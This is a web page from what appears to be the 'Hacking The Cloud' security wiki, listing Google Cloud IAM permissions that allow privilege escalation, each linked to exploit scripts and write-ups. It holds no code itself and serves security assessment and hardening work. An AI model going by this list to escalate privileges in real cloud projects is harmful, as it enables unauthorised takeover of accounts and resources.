md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Aloïs THÉVENOT</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/exploitation/gcp_iam_privilege_escalation.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=privilege-escalation-in-google-cloud-platform>Privilege Escalation in Google Cloud Platform<a class=headerlink href=#privilege-escalation-in-google-cloud-platform title="Permanent link">&para;</a></h1> <table> <thead> <tr> <th>Permission</th> <th> Resources</th> </tr> </thead> <tbody> <tr> <td><code>cloudbuilds.builds.create</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/working-as-intendedrce-to-iam-privilege-escalation-in-gcp>Blog Post</a></td> </tr> <tr> <td><code>cloudfunctions.functions.create</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>cloudfunctions.functions.update</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>cloudscheduler.jobs.create</code></td> <td><a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>composer.environments.get</code></td> <td>Blog Post <a href=https://security.love/blog/gcp/2020/11/22/lateral-movement-and-privesc-in-GCP.html>1</a>, <a href=https://www.xmcyber.com/blog/new-privilege-escalation-techniques-are-compromising-your-google-cloud-platform/ >2</a></td> </tr> <tr> <td><code>compute.instances.create</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>dataflow.jobs.create</code></td> <td>Blog Post <a href=https://security.love/blog/gcp/2020/11/22/lateral-movement-and-privesc-in-GCP.html>1</a>, <a href=https://www.xmcyber.com/blog/new-privilege-escalation-techniques-are-compromising-your-google-cloud-platform/ >2</a></td> </tr> <tr> <td><code>dataflow.jobs.update</code></td> <td>Blog Post <a href=https://security.love/blog/gcp/2020/11/22/lateral-movement-and-privesc-in-GCP.html>1</a>, <a href=https://www.xmcyber.com/blog/new-privilege-escalation-techniques-are-compromising-your-google-cloud-platform/ >2</a></td> </tr> <tr> <td><code>dataproc.clusters.create</code></td> <td>Blog Post <a href=https://security.love/blog/gcp/2020/11/22/lateral-movement-and-privesc-in-GCP.html>1</a>, <a href=https://www.xmcyber.com/blog/new-privilege-escalation-techniques-are-compromising-your-google-cloud-platform/ >2</a></td> </tr> <tr> <td><code>dataproc.clusters.create</code></td> <td>Blog Post <a href=https://security.love/blog/gcp/2020/11/22/lateral-movement-and-privesc-in-GCP.html>1</a>, <a href=https://www.xmcyber.com/blog/new-privilege-escalation-techniques-are-compromising-your-google-cloud-platform/ >2</a></td> </tr> <tr> <td><code>dataproc.jobs.create</code></td> <td>Blog Post <a href=https://security.love/blog/gcp/2020/11/22/lateral-movement-and-privesc-in-GCP.html>1</a>, <a href=https://www.xmcyber.com/blog/new-privilege-escalation-techniques-are-compromising-your-google-cloud-platform/ >2</a></td> </tr> <tr> <td><code>dataproc.jobs.update</code></td> <td>Blog Post <a href=https://security.love/blog/gcp/2020/11/22/lateral-movement-and-privesc-in-GCP.html>1</a>, <a href=https://www.xmcyber.com/blog/new-privilege-escalation-techniques-are-compromising-your-google-cloud-platform/ >2</a></td> </tr> <tr> <td><code>deploymentmanager.deployments.create</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/deploymentmanager.deployments.create.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>iam.roles.update</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>iam.serviceAccountKeys.create</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>iam.serviceAccounts.getAccessToken</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>iam.serviceAccounts.implicitDelegation</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>iam.serviceAccounts.signBlob</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signBlob-accessToken.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>iam.serviceAccounts.signJwt</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>orgpolicy.policy.set</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-2/ >Blog Post</a></td> </tr> <tr> <td><code>run.services.create</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ >Blog Post</a></td> </tr> <tr> <td><code>serviceusage.apiKeys.create</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/serviceusage.apiKeys.create.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-2/ >Blog Post</a></td> </tr> <tr> <td><code>serviceusage.apiKeys.list</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/serviceusage.apiKeys.list.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-2/ >Blog Post</a></td> </tr> <tr> <td><code>storage.hmacKeys.create</code></td> <td><a href=https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py>Script</a> / <a href=https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-2/ >Blog Post</a></td> </tr> </tbody> </table> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">January 13, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">August 24, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/Techbrunch class=md-author title=@Techbrunch> <img src="https://avatars.githubusercontent.com/u/1835765?v=4&size=72" alt=Techbrunch> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#privilege-escalation-in-google-cloud-platform class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 